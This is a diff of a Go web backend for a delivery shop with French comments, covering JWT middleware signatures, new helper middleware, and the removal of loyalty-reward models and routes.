hour := now.Hour()
|
hour := now.Hour()
|
||||||
min := now.Minute()
|
min := now.Minute()
|
||||||
|
|
||||||
|
// Récupérer le planning depuis les settings DB
|
||||||
database := c.MustGet("database").(*db.Database)
|
database := c.MustGet("database").(*db.Database)
|
||||||
settings, err := database.GetSettings()
|
settings, err := database.GetSettings()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|||||||
@@ -54,7 +54,7 @@ var (
|
|||||||
// ============================================
|
// ============================================
|
||||||
|
|
||||||
// validateClientToken valide un token client
|
// validateClientToken valide un token client
|
||||||
func validateClientToken(tokenString string) (*ClientClaims, error) {
|
func validateClientToken(tokenString string, database *db.Database) (*ClientClaims, error) {
|
||||||
tokenString = strings.TrimSpace(tokenString)
|
tokenString = strings.TrimSpace(tokenString)
|
||||||
if tokenString == "" {
|
if tokenString == "" {
|
||||||
return nil, fmt.Errorf("token vide")
|
return nil, fmt.Errorf("token vide")
|
||||||
@@ -103,7 +103,7 @@ func validateClientToken(tokenString string) (*ClientClaims, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// validateAdminToken valide un token admin
|
// validateAdminToken valide un token admin
|
||||||
func validateAdminToken(tokenString string) (*AdminClaims, error) {
|
func validateAdminToken(tokenString string, database *db.Database) (*AdminClaims, error) {
|
||||||
tokenString = strings.TrimSpace(tokenString)
|
tokenString = strings.TrimSpace(tokenString)
|
||||||
if tokenString == "" {
|
if tokenString == "" {
|
||||||
return nil, fmt.Errorf("token vide")
|
return nil, fmt.Errorf("token vide")
|
||||||
@@ -161,7 +161,7 @@ func ClientMiddleware(c *gin.Context) {
|
|||||||
tokenStr := strings.TrimPrefix(authHeader, "Bearer ")
|
tokenStr := strings.TrimPrefix(authHeader, "Bearer ")
|
||||||
database := c.MustGet("database").(*db.Database)
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
claims, err := validateClientToken(tokenStr)
|
claims, err := validateClientToken(tokenStr, database)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Printf("❌ [CLIENT-MWARE] Token invalide: %v", err)
|
log.Printf("❌ [CLIENT-MWARE] Token invalide: %v", err)
|
||||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Token invalide"})
|
c.JSON(http.StatusUnauthorized, gin.H{"error": "Token invalide"})
|
||||||
@@ -205,7 +205,7 @@ func AdminMiddleware(c *gin.Context) {
|
|||||||
tokenStr := strings.TrimPrefix(authHeader, "Bearer ")
|
tokenStr := strings.TrimPrefix(authHeader, "Bearer ")
|
||||||
database := c.MustGet("database").(*db.Database)
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
claims, err := validateAdminToken(tokenStr)
|
claims, err := validateAdminToken(tokenStr, database)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Printf("❌ [ADMIN-MWARE] Token invalide: %v", err)
|
log.Printf("❌ [ADMIN-MWARE] Token invalide: %v", err)
|
||||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Token admin invalide"})
|
c.JSON(http.StatusUnauthorized, gin.H{"error": "Token admin invalide"})
|
||||||
@@ -258,7 +258,7 @@ func CabineMiddleware(c *gin.Context) {
|
|||||||
tokenStr := strings.TrimPrefix(authHeader, "Bearer ")
|
tokenStr := strings.TrimPrefix(authHeader, "Bearer ")
|
||||||
database := c.MustGet("database").(*db.Database)
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
claims, err := validateAdminToken(tokenStr)
|
claims, err := validateAdminToken(tokenStr, database)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Printf("❌ [CABINE-MWARE] Token invalide: %v", err)
|
log.Printf("❌ [CABINE-MWARE] Token invalide: %v", err)
|
||||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Token invalide"})
|
c.JSON(http.StatusUnauthorized, gin.H{"error": "Token invalide"})
|
||||||
@@ -312,7 +312,7 @@ func LivreurMiddleware(c *gin.Context) {
|
|||||||
tokenStr := strings.TrimPrefix(authHeader, "Bearer ")
|
tokenStr := strings.TrimPrefix(authHeader, "Bearer ")
|
||||||
database := c.MustGet("database").(*db.Database)
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
claims, err := validateAdminToken(tokenStr)
|
claims, err := validateAdminToken(tokenStr, database)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Printf("❌ [LIVREUR-MWARE] Token invalide: %v", err)
|
log.Printf("❌ [LIVREUR-MWARE] Token invalide: %v", err)
|
||||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Token invalide"})
|
c.JSON(http.StatusUnauthorized, gin.H{"error": "Token invalide"})
|
||||||
@@ -507,3 +507,94 @@ func LoginRateLimitMiddleware(c *gin.Context) {
|
|||||||
c.Header("X-RateLimit-Remaining", strconv.FormatInt(10-count, 10))
|
c.Header("X-RateLimit-Remaining", strconv.FormatInt(10-count, 10))
|
||||||
c.Next()
|
c.Next()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// HELPER MIDDLEWARE
|
||||||
|
// ============================================
|
||||||
|
|
||||||
|
// VerifyAuthHeader vérifie que le header Authorization est valide
|
||||||
|
func VerifyAuthHeader(c *gin.Context) {
|
||||||
|
authHeader := c.GetHeader("Authorization")
|
||||||
|
|
||||||
|
if authHeader == "" {
|
||||||
|
log.Printf("❌ [AUTH-HEADER] Authorization header manquant")
|
||||||
|
c.JSON(http.StatusUnauthorized, gin.H{
|
||||||
|
"error": "Authorization header manquant",
|
||||||
|
"hint": "Utilisez: Authorization: Bearer <token>",
|
||||||
|
})
|
||||||
|
c.Abort()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Vérifier le format "Bearer <token>"
|
||||||
|
parts := strings.Split(authHeader, " ")
|
||||||
|
if len(parts) != 2 || parts[0] != "Bearer" {
|
||||||
|
log.Printf("❌ [AUTH-HEADER] Format invalide: %s", authHeader)
|
||||||
|
c.JSON(http.StatusUnauthorized, gin.H{
|
||||||
|
"error": "Format Authorization invalide",
|
||||||
|
"hint": "Utilisez: Authorization: Bearer <token>",
|
||||||
|
})
|
||||||
|
c.Abort()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("✅ [AUTH-HEADER] Format valide")
|
||||||
|
c.Next()
|
||||||
|
}
|
||||||
|
|
||||||
|
// SessionErrorRecovery récupère les erreurs de session
|
||||||
|
func SessionErrorRecovery(c *gin.Context) {
|
||||||
|
defer func() {
|
||||||
|
if err := recover(); err != nil {
|
||||||
|
log.Printf("❌ [SESSION-ERROR] Erreur système: %v", err)
|
||||||
|
c.JSON(http.StatusInternalServerError, gin.H{
|
||||||
|
"error": "Erreur serveur - Session compromise",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
c.Next()
|
||||||
|
|
||||||
|
if len(c.Errors) > 0 {
|
||||||
|
log.Printf("⚠️ [SESSION] Erreur handler: %v", c.Errors)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// LogSessionMiddleware log toutes les infos de session
|
||||||
|
func LogSessionMiddleware(c *gin.Context) {
|
||||||
|
username, _ := c.Get("username")
|
||||||
|
clientID, _ := c.Get("client_id")
|
||||||
|
sessionID, _ := c.Get("session_id")
|
||||||
|
|
||||||
|
log.Printf("📊 [SESSION-LOG] %s %s | user=%v | client_id=%v | session=%v",
|
||||||
|
c.Request.Method, c.Request.URL.Path, username, clientID, sessionID)
|
||||||
|
|
||||||
|
c.Next()
|
||||||
|
|
||||||
|
log.Printf("📊 [SESSION-LOG] Response: %d", c.Writer.Status())
|
||||||
|
}
|
||||||
|
|
||||||
|
// LoadClientContext charge les infos du client en contexte
|
||||||
|
func LoadClientContext(c *gin.Context, database *db.Database) (*db.SessionData, error) {
|
||||||
|
clientID, ok := c.Get("client_id")
|
||||||
|
if !ok {
|
||||||
|
return nil, fmt.Errorf("client_id manquant du contexte")
|
||||||
|
}
|
||||||
|
|
||||||
|
clientIDInt := clientID.(int)
|
||||||
|
|
||||||
|
// Récupérer la session
|
||||||
|
session, err := database.GetClientSession(clientIDInt)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
return session, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func DatabaseMiddleware(db *db.Database) gin.HandlerFunc {
|
||||||
|
return func(c *gin.Context) {
|
||||||
|
c.Set("database", db)
|
||||||
|
c.Next()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -18,10 +18,6 @@ type AdminClaims struct {
|
|||||||
jwt.RegisteredClaims
|
jwt.RegisteredClaims
|
||||||
}
|
}
|
||||||
|
|
||||||
// ============================================
|
|
||||||
// STRUCTURES REQUÊTE / RÉPONSE
|
|
||||||
// ============================================
|
|
||||||
|
|
||||||
type LoginRequest struct {
|
type LoginRequest struct {
|
||||||
Username string `json:"username" binding:"required"`
|
Username string `json:"username" binding:"required"`
|
||||||
Password string `json:"password" binding:"required"`
|
Password string `json:"password" binding:"required"`
|
||||||
@@ -38,7 +34,7 @@ type RegisterClientRequest struct {
|
|||||||
type RegisterAdminRequest struct {
|
type RegisterAdminRequest struct {
|
||||||
Username string `json:"username" binding:"required,min=3,max=50"`
|
Username string `json:"username" binding:"required,min=3,max=50"`
|
||||||
Password string `json:"password" binding:"required,min=8"`
|
Password string `json:"password" binding:"required,min=8"`
|
||||||
Role string `json:"role" binding:"required,oneof=cabine livreur"`
|
Role string `json:"role" binding:"required,oneof=admin cabine livreur"`
|
||||||
}
|
}
|
||||||
|
|
||||||
type LoginResponse struct {
|
type LoginResponse struct {
|
||||||
|
|||||||
@@ -18,7 +18,6 @@ type Client struct {
|
|||||||
MustChangePassword bool `gorm:"column:must_change_password;default:false" json:"must_change_password"`
|
MustChangePassword bool `gorm:"column:must_change_password;default:false" json:"must_change_password"`
|
||||||
ReferralBalance float64 `gorm:"column:referral_balance;default:0" json:"referral_balance"`
|
ReferralBalance float64 `gorm:"column:referral_balance;default:0" json:"referral_balance"`
|
||||||
PointsExtra map[string]int `gorm:"-" json:"points_extra"`
|
PointsExtra map[string]int `gorm:"-" json:"points_extra"`
|
||||||
PointsRedeemed map[string]int `gorm:"-" json:"points_redeemed"`
|
|
||||||
Parrain string `gorm:"column:parrain" json:"parrain"`
|
Parrain string `gorm:"column:parrain" json:"parrain"`
|
||||||
CreatedAt time.Time `gorm:"autoCreateTime" json:"created_at"`
|
CreatedAt time.Time `gorm:"autoCreateTime" json:"created_at"`
|
||||||
UpdatedAt time.Time `gorm:"autoUpdateTime" json:"updated_at"`
|
UpdatedAt time.Time `gorm:"autoUpdateTime" json:"updated_at"`
|
||||||
|
|||||||
@@ -19,16 +19,14 @@ func (Command) TableName() string { return "commandes" }
|
|||||||
|
|
||||||
// CommandItem représente un produit dans une commande
|
// CommandItem représente un produit dans une commande
|
||||||
type CommandItem struct {
|
type CommandItem struct {
|
||||||
ID int `gorm:"primaryKey;autoIncrement" json:"id"`
|
ID int `gorm:"primaryKey;autoIncrement" json:"id"`
|
||||||
CommandID int `gorm:"column:command_id" json:"command_id"`
|
CommandID int `gorm:"column:command_id" json:"command_id"`
|
||||||
Produit string `gorm:"column:produit" json:"produit"`
|
Produit string `gorm:"column:produit" json:"produit"`
|
||||||
ProductID int `gorm:"column:product_id" json:"product_id"`
|
ProductID int `gorm:"column:product_id" json:"product_id"`
|
||||||
Quantity float64 `gorm:"column:quantite" json:"quantity"`
|
Quantity float64 `gorm:"column:quantite" json:"quantity"`
|
||||||
Price float64 `gorm:"column:prix" json:"price"`
|
Price float64 `gorm:"column:prix" json:"price"`
|
||||||
IsReward bool `gorm:"column:is_reward" json:"is_reward"`
|
CreatedAt time.Time `gorm:"autoCreateTime" json:"created_at"`
|
||||||
RewardPoolKey string `gorm:"column:reward_pool_key" json:"reward_pool_key,omitempty"`
|
UpdatedAt time.Time `gorm:"autoUpdateTime" json:"updated_at"`
|
||||||
CreatedAt time.Time `gorm:"autoCreateTime" json:"created_at"`
|
|
||||||
UpdatedAt time.Time `gorm:"autoUpdateTime" json:"updated_at"`
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type CommandLog struct {
|
type CommandLog struct {
|
||||||
|
|||||||
@@ -1,6 +0,0 @@
|
|||||||
package models
|
|
||||||
|
|
||||||
type Contact struct {
|
|
||||||
ID int `json:"id" gorm:"primaryKey"`
|
|
||||||
Name string `json:"name" gorm:"not null"`
|
|
||||||
}
|
|
||||||
@@ -11,8 +11,6 @@ type Panier struct {
|
|||||||
Description string `json:"description"`
|
Description string `json:"description"`
|
||||||
Quantity float64 `json:"quantity"`
|
Quantity float64 `json:"quantity"`
|
||||||
Price float64 `json:"price"`
|
Price float64 `json:"price"`
|
||||||
IsReward bool `json:"is_reward"`
|
|
||||||
RewardPoolKey string `json:"reward_pool_key,omitempty"`
|
|
||||||
CreatedAt time.Time `json:"created_at"`
|
CreatedAt time.Time `json:"created_at"`
|
||||||
UpdatedAt time.Time `json:"updated_at,omitempty"`
|
UpdatedAt time.Time `json:"updated_at,omitempty"`
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,28 +3,26 @@ package models
|
|||||||
import "time"
|
import "time"
|
||||||
|
|
||||||
type Product struct {
|
type Product struct {
|
||||||
ID int `json:"id" gorm:"primaryKey;autoIncrement"`
|
ID int `json:"id" gorm:"primaryKey;autoIncrement"`
|
||||||
Name string `json:"name" gorm:"column:name" binding:"required"`
|
Name string `json:"name" gorm:"column:name" binding:"required"`
|
||||||
Category string `json:"category" gorm:"column:category" binding:"required"`
|
Category string `json:"category" gorm:"column:category" binding:"required"`
|
||||||
Description string `json:"description" gorm:"column:description"`
|
Description string `json:"description" gorm:"column:description"`
|
||||||
Stock float64 `json:"stock" gorm:"column:stock"`
|
Stock float64 `json:"stock" gorm:"column:stock"`
|
||||||
Unit string `json:"unit" gorm:"column:unit"`
|
Unit string `json:"unit" gorm:"column:unit"`
|
||||||
ComingSoon bool `json:"coming_soon" gorm:"column:coming_soon;default:false"`
|
Prices []ProductPrice `json:"prices" gorm:"foreignKey:ProductID"`
|
||||||
Prices []ProductPrice `json:"prices" gorm:"foreignKey:ProductID"`
|
|
||||||
Media []Media `json:"media,omitempty" gorm:"foreignKey:ProductID"`
|
Media []Media `json:"media,omitempty" gorm:"foreignKey:ProductID"`
|
||||||
CreatedAt time.Time `json:"created_at" gorm:"autoCreateTime"`
|
CreatedAt time.Time `json:"created_at" gorm:"autoCreateTime"`
|
||||||
UpdatedAt time.Time `json:"updated_at" gorm:"autoUpdateTime"`
|
UpdatedAt time.Time `json:"updated_at" gorm:"autoUpdateTime"`
|
||||||
}
|
}
|
||||||
|
|
||||||
func (Product) TableName() string { return "products" }
|
func (Product) TableName() string { return "products" }
|
||||||
|
|
||||||
type ProductPrice struct {
|
type ProductPrice struct {
|
||||||
ID int `json:"id" gorm:"primaryKey;autoIncrement"`
|
ID int `json:"id" gorm:"primaryKey;autoIncrement"`
|
||||||
ProductID int `json:"product_id" gorm:"column:product_id;index"`
|
ProductID int `json:"product_id" gorm:"column:product_id;index"`
|
||||||
Quantity float64 `json:"quantity" gorm:"column:quantity" binding:"required"`
|
Quantity float64 `json:"quantity" gorm:"column:quantity" binding:"required"`
|
||||||
Price float64 `json:"price" gorm:"column:price" binding:"required"`
|
Price float64 `json:"price" gorm:"column:price" binding:"required"`
|
||||||
CreatedAt time.Time `json:"created_at" gorm:"autoCreateTime"`
|
CreatedAt time.Time `json:"created_at" gorm:"autoCreateTime"`
|
||||||
ActivePrice bool `json:"active_price" gorm:"column:active_price;default:true"`
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func (ProductPrice) TableName() string { return "product_prices" }
|
func (ProductPrice) TableName() string { return "product_prices" }
|
||||||
|
|||||||
@@ -14,29 +14,6 @@ type PointsTier struct {
|
|||||||
Points int `json:"points"`
|
Points int `json:"points"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// RewardCategoryConfig définit les produits éligibles dans une catégorie pour une récompense
|
|
||||||
type RewardCategoryConfig struct {
|
|
||||||
Category string `json:"category"` // nom de la catégorie
|
|
||||||
AllProducts bool `json:"all_products"` // true = tous les produits de la catégorie
|
|
||||||
ProductIDs []int `json:"product_ids"` // IDs des produits éligibles si AllProducts = false
|
|
||||||
}
|
|
||||||
|
|
||||||
// RewardItem représente un produit offert lors d'une récompense, avec sa quantité et son prix associé
|
|
||||||
type RewardItem struct {
|
|
||||||
ProductID int `json:"product_id"` // ID du produit ajouté au panier
|
|
||||||
Quantity float64 `json:"quantity"` // quantité offerte
|
|
||||||
Price float64 `json:"price"` // valeur indicative affichée au client
|
|
||||||
}
|
|
||||||
|
|
||||||
// PointsReward représente la récompense débloquée à partir d'un seuil de points cumulés
|
|
||||||
type PointsReward struct {
|
|
||||||
Threshold int `json:"threshold"` // points cumulés nécessaires (ex: 20)
|
|
||||||
Type string `json:"type"` // "free_product" | "half_price_product" | "custom"
|
|
||||||
Description string `json:"description"` // description libre affichée au client
|
|
||||||
CategoryConfigs []RewardCategoryConfig `json:"category_configs"` // catégories + produits éligibles
|
|
||||||
RewardItems []RewardItem `json:"reward_items"` // produits ajoutés au panier lors du claim
|
|
||||||
}
|
|
||||||
|
|
||||||
// DaySchedule représente les horaires de livraison pour un jour de la semaine
|
// DaySchedule représente les horaires de livraison pour un jour de la semaine
|
||||||
type DaySchedule struct {
|
type DaySchedule struct {
|
||||||
Enabled bool `json:"enabled"`
|
Enabled bool `json:"enabled"`
|
||||||
@@ -89,7 +66,6 @@ type AppSettings struct {
|
|||||||
PenaltyTiers []PenaltyTier `json:"penalty_tiers"` // barème des amendes (liste configurable)
|
PenaltyTiers []PenaltyTier `json:"penalty_tiers"` // barème des amendes (liste configurable)
|
||||||
PointsEnabled bool `json:"points_enabled"` // afficher/activer le système de points
|
PointsEnabled bool `json:"points_enabled"` // afficher/activer le système de points
|
||||||
PointsPools []PointsPool `json:"points_pools"` // types de points personnalisés
|
PointsPools []PointsPool `json:"points_pools"` // types de points personnalisés
|
||||||
PointsReward *PointsReward `json:"points_reward"` // récompense globale par palier de points
|
|
||||||
ReferralEnabled bool `json:"referral_enabled"` // activer/désactiver le système de parrainage
|
ReferralEnabled bool `json:"referral_enabled"` // activer/désactiver le système de parrainage
|
||||||
ReferralAmount float64 `json:"referral_amount"` // montant crédité par parrainage
|
ReferralAmount float64 `json:"referral_amount"` // montant crédité par parrainage
|
||||||
CryptoPaymentEnabled bool `json:"crypto_payment_enabled"` // activer/désactiver le paiement crypto
|
CryptoPaymentEnabled bool `json:"crypto_payment_enabled"` // activer/désactiver le paiement crypto
|
||||||
@@ -99,11 +75,10 @@ type AppSettings struct {
|
|||||||
NowPaymentsCurrencies []string `json:"nowpayments_currencies"` // cryptos acceptées (ex: ["btc","eth","ltc"])
|
NowPaymentsCurrencies []string `json:"nowpayments_currencies"` // cryptos acceptées (ex: ["btc","eth","ltc"])
|
||||||
DeliverySchedule DeliverySchedule `json:"delivery_schedule"` // horaires de livraison par jour
|
DeliverySchedule DeliverySchedule `json:"delivery_schedule"` // horaires de livraison par jour
|
||||||
PostalZones []PostalZone `json:"postal_zones"` // zones de livraison avec minimum de commande
|
PostalZones []PostalZone `json:"postal_zones"` // zones de livraison avec minimum de commande
|
||||||
TelegramBotToken string `json:"telegram_bot_token"` // token du bot Telegram (BotFather) — pour le webhook de liaison
|
TelegramBotToken string `json:"telegram_bot_token"` // token du bot Telegram (BotFather)
|
||||||
TelegramBotUsername string `json:"telegram_bot_username"` // username du bot (sans @)
|
TelegramBotUsername string `json:"telegram_bot_username"` // username du bot (sans @)
|
||||||
TelegramNotificationsEnabled bool `json:"telegram_notifications_enabled"` // activer/désactiver les notifications Telegram
|
TelegramNotificationsEnabled bool `json:"telegram_notifications_enabled"` // activer/désactiver les notifications Telegram
|
||||||
DeliveryMode DeliveryModeConfig `json:"delivery_mode"` // mode d'assignation des livreurs
|
DeliveryMode DeliveryModeConfig `json:"delivery_mode"` // mode d'assignation des livreurs
|
||||||
ShopName string `json:"shop_name"` // nom affiché dans la sidebar du site client
|
ShopName string `json:"shop_name"` // nom affiché dans la sidebar du site client
|
||||||
Telegram2FAEnabled bool `json:"telegram_2fa_enabled"` // activer/désactiver l'authentification à deux facteurs
|
Telegram2FAEnabled bool `json:"telegram_2fa_enabled"` // activer/désactiver l'authentification à deux facteurs
|
||||||
ContactTelegram string `json:"contact_telegram"` // numéro de téléphone Telegram du contact
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,44 +0,0 @@
|
|||||||
package models
|
|
||||||
|
|
||||||
import "time"
|
|
||||||
|
|
||||||
type WeekdayRow struct {
|
|
||||||
DOW int `gorm:"column:dow"`
|
|
||||||
Count int `gorm:"column:count"`
|
|
||||||
}
|
|
||||||
|
|
||||||
type DayRow struct {
|
|
||||||
Day time.Time `gorm:"column:day"`
|
|
||||||
Count int `gorm:"column:count"`
|
|
||||||
}
|
|
||||||
|
|
||||||
type ProductRow struct {
|
|
||||||
ProductID int `gorm:"column:product_id"`
|
|
||||||
Name string `gorm:"column:name"`
|
|
||||||
Quantity float64 `gorm:"column:total_quantity"`
|
|
||||||
OrderCount int `gorm:"column:order_count"`
|
|
||||||
Revenue float64 `gorm:"column:revenue"`
|
|
||||||
Category string `gorm:"column:category"`
|
|
||||||
CategoryColor string `gorm:"column:category_color"`
|
|
||||||
}
|
|
||||||
|
|
||||||
type HourRow struct {
|
|
||||||
Hour int `gorm:"column:hour"`
|
|
||||||
Count int `gorm:"column:count"`
|
|
||||||
Revenue float64 `gorm:"column:revenue"`
|
|
||||||
}
|
|
||||||
|
|
||||||
type QuantityBreakdownRow struct {
|
|
||||||
ProductID int `gorm:"column:product_id"`
|
|
||||||
ProductName string `gorm:"column:product_name"`
|
|
||||||
Quantity float64 `gorm:"column:quantity"`
|
|
||||||
OrderCount int `gorm:"column:order_count"`
|
|
||||||
TotalSold float64 `gorm:"column:total_sold"`
|
|
||||||
Revenue float64 `gorm:"column:revenue"`
|
|
||||||
CategoryColor string `gorm:"column:category_color"`
|
|
||||||
}
|
|
||||||
|
|
||||||
type DayRevenueRow struct {
|
|
||||||
Day time.Time `gorm:"column:day"`
|
|
||||||
Revenue float64 `gorm:"column:revenue"`
|
|
||||||
}
|
|
||||||
@@ -1,3 +1,7 @@
|
|||||||
|
// ============================================
|
||||||
|
// routes/routes.go - VERSION CORRIGÉE COMPLÈTE
|
||||||
|
// ============================================
|
||||||
|
|
||||||
package routes
|
package routes
|
||||||
|
|
||||||
import (
|
import (
|
||||||
@@ -112,10 +116,6 @@ func SetupRoutes(router *gin.Engine, database *db.Database, geoService *services
|
|||||||
cartGroupV1.GET("/referral/balance", handlers.GetMyReferralBalance)
|
cartGroupV1.GET("/referral/balance", handlers.GetMyReferralBalance)
|
||||||
cartGroupV1.GET("/parrain", handlers.GetMyParrainInfo)
|
cartGroupV1.GET("/parrain", handlers.GetMyParrainInfo)
|
||||||
|
|
||||||
// 🏆 POINTS & RÉCOMPENSES CLIENT
|
|
||||||
cartGroupV1.GET("/points/rewards", handlers.GetMyPointsRewards)
|
|
||||||
cartGroupV1.POST("/points/claim", handlers.ClaimMyReward)
|
|
||||||
|
|
||||||
// 💸 STATUT PAIEMENT CRYPTO
|
// 💸 STATUT PAIEMENT CRYPTO
|
||||||
cartGroupV1.GET("/commands/:id/payment-status", handlers.GetCommandPaymentStatus)
|
cartGroupV1.GET("/commands/:id/payment-status", handlers.GetCommandPaymentStatus)
|
||||||
}
|
}
|
||||||
@@ -130,11 +130,6 @@ func SetupRoutes(router *gin.Engine, database *db.Database, geoService *services
|
|||||||
// ============================================
|
// ============================================
|
||||||
router.POST("/webhook/telegram", handlers.TelegramWebhook)
|
router.POST("/webhook/telegram", handlers.TelegramWebhook)
|
||||||
|
|
||||||
// ============================================
|
|
||||||
// 🔗 LIAISON INTERNE TELEGRAM (appelée par LBTelegram)
|
|
||||||
// ============================================
|
|
||||||
router.POST("/api/internal/telegram/link", handlers.InternalTelegramLink)
|
|
||||||
|
|
||||||
// ============================================
|
// ============================================
|
||||||
// 📋 PATTERN v2: ADMIN API
|
// 📋 PATTERN v2: ADMIN API
|
||||||
// ============================================
|
// ============================================
|
||||||
@@ -144,6 +139,7 @@ func SetupRoutes(router *gin.Engine, database *db.Database, geoService *services
|
|||||||
// ============================================
|
// ============================================
|
||||||
adminAuthGroupV2 := router.Group("/api/v2/admin/auth")
|
adminAuthGroupV2 := router.Group("/api/v2/admin/auth")
|
||||||
{
|
{
|
||||||
|
//adminAuthGroupV2.POST("/register", handlers.RegisterAdmin)
|
||||||
adminAuthGroupV2.POST("/login", middleware.LoginRateLimitMiddleware, handlers.LoginAdmin)
|
adminAuthGroupV2.POST("/login", middleware.LoginRateLimitMiddleware, handlers.LoginAdmin)
|
||||||
adminAuthGroupV2.POST("/logout", handlers.LogoutAdmin)
|
adminAuthGroupV2.POST("/logout", handlers.LogoutAdmin)
|
||||||
}
|
}
|
||||||
@@ -192,21 +188,12 @@ func SetupRoutes(router *gin.Engine, database *db.Database, geoService *services
|
|||||||
adminGroupV2.DELETE("/products/:id", handlers.DeleteProduct)
|
adminGroupV2.DELETE("/products/:id", handlers.DeleteProduct)
|
||||||
adminGroupV2.POST("/products/:id/media", handlers.UploadMedia)
|
adminGroupV2.POST("/products/:id/media", handlers.UploadMedia)
|
||||||
adminGroupV2.DELETE("/products/:id/media/:media_id", handlers.DeleteMedia)
|
adminGroupV2.DELETE("/products/:id/media/:media_id", handlers.DeleteMedia)
|
||||||
adminGroupV2.POST("/products/:id/stock", handlers.UpdateStock)
|
|
||||||
// ============================================
|
// ============================================
|
||||||
// CATÉGORIES - GESTION ADMIN
|
// CATÉGORIES - GESTION ADMIN
|
||||||
// ============================================
|
// ============================================
|
||||||
adminGroupV2.POST("/categories", handlers.CreateCategory)
|
adminGroupV2.POST("/categories", handlers.CreateCategory)
|
||||||
adminGroupV2.PUT("/categories/:id", handlers.UpdateCategory)
|
adminGroupV2.PUT("/categories/:id", handlers.UpdateCategory)
|
||||||
adminGroupV2.DELETE("/categories/:id", handlers.DeleteCategory)
|
adminGroupV2.DELETE("/categories/:id", handlers.DeleteCategory)
|
||||||
// ============================================
|
|
||||||
// STATISTIQUES ADMIN
|
|
||||||
// ============================================
|
|
||||||
adminGroupV2.GET("/stats", handlers.GetAdminStats)
|
|
||||||
|
|
||||||
adminGroupV2.POST("/active/product/price/:id", handlers.ActivePrice)
|
|
||||||
adminGroupV2.POST("/desactive/product/price/:id", handlers.DesActivePrice)
|
|
||||||
|
|
||||||
// ============================================
|
// ============================================
|
||||||
// COMMANDES - GESTION DE BASE
|
// COMMANDES - GESTION DE BASE
|
||||||
// ============================================
|
// ============================================
|
||||||
@@ -268,10 +255,9 @@ func SetupRoutes(router *gin.Engine, database *db.Database, geoService *services
|
|||||||
adminGroupV2.POST("/penalty", handlers.ApplyClientPenalty) // Appliquer pénalité
|
adminGroupV2.POST("/penalty", handlers.ApplyClientPenalty) // Appliquer pénalité
|
||||||
adminGroupV2.GET("/client/:username/penalties", handlers.GetClientPenaltiesAdmin) // Voir pénalités client
|
adminGroupV2.GET("/client/:username/penalties", handlers.GetClientPenaltiesAdmin) // Voir pénalités client
|
||||||
adminGroupV2.POST("/client/:username/penalties/reset", handlers.ResetClientPenaltiesAdmin) // Reset amende
|
adminGroupV2.POST("/client/:username/penalties/reset", handlers.ResetClientPenaltiesAdmin) // Reset amende
|
||||||
adminGroupV2.POST("/client/:username/point/reset", handlers.ResetClientPointAdmin) // Reset points → 0
|
adminGroupV2.POST("/client/:username/point/reset", handlers.ResetClientPointAdmin) // Reset points → 0
|
||||||
adminGroupV2.POST("/client/:username/points/add", handlers.AddClientPointsAdmin) // Ajouter points par pool
|
adminGroupV2.POST("/client/:username/points/add", handlers.AddClientPointsAdmin) // Ajouter points par pool
|
||||||
adminGroupV2.POST("/client/:username/points/subtract", handlers.SubtractClientPointsAdmin) // Enlever points par pool
|
adminGroupV2.POST("/client/:username/points/subtract", handlers.SubtractClientPointsAdmin) // Enlever points par pool
|
||||||
adminGroupV2.POST("/client/:username/rewards/reset", handlers.AdminResetClientRedeemed) // Reset récompenses réclamées
|
|
||||||
adminGroupV2.GET("/penalties/all", handlers.GetAllClientsWithPenalties) // Liste clients avec pénalités
|
adminGroupV2.GET("/penalties/all", handlers.GetAllClientsWithPenalties) // Liste clients avec pénalités
|
||||||
adminGroupV2.GET("/penalties/stats", handlers.GetPenaltiesStats)
|
adminGroupV2.GET("/penalties/stats", handlers.GetPenaltiesStats)
|
||||||
|
|
||||||
@@ -319,7 +305,6 @@ func SetupRoutes(router *gin.Engine, database *db.Database, geoService *services
|
|||||||
cabineGroupV1.POST("/telegram/link-token", handlers.GenerateAdminLinkToken)
|
cabineGroupV1.POST("/telegram/link-token", handlers.GenerateAdminLinkToken)
|
||||||
cabineGroupV1.DELETE("/telegram/unlink", handlers.UnlinkAdminTelegram)
|
cabineGroupV1.DELETE("/telegram/unlink", handlers.UnlinkAdminTelegram)
|
||||||
|
|
||||||
cabineGroupV1.GET("/commands", handlers.GetAllCommands)
|
|
||||||
cabineGroupV1.GET("/commands/:id/items", handlers.ShowItems)
|
cabineGroupV1.GET("/commands/:id/items", handlers.ShowItems)
|
||||||
cabineGroupV1.POST("/commands/:id/confirm-reception", handlers.StaffApproveDelivery)
|
cabineGroupV1.POST("/commands/:id/confirm-reception", handlers.StaffApproveDelivery)
|
||||||
cabineGroupV1.POST("/commands/:id/assign", handlers.AssignDeliveryPerson)
|
cabineGroupV1.POST("/commands/:id/assign", handlers.AssignDeliveryPerson)
|
||||||
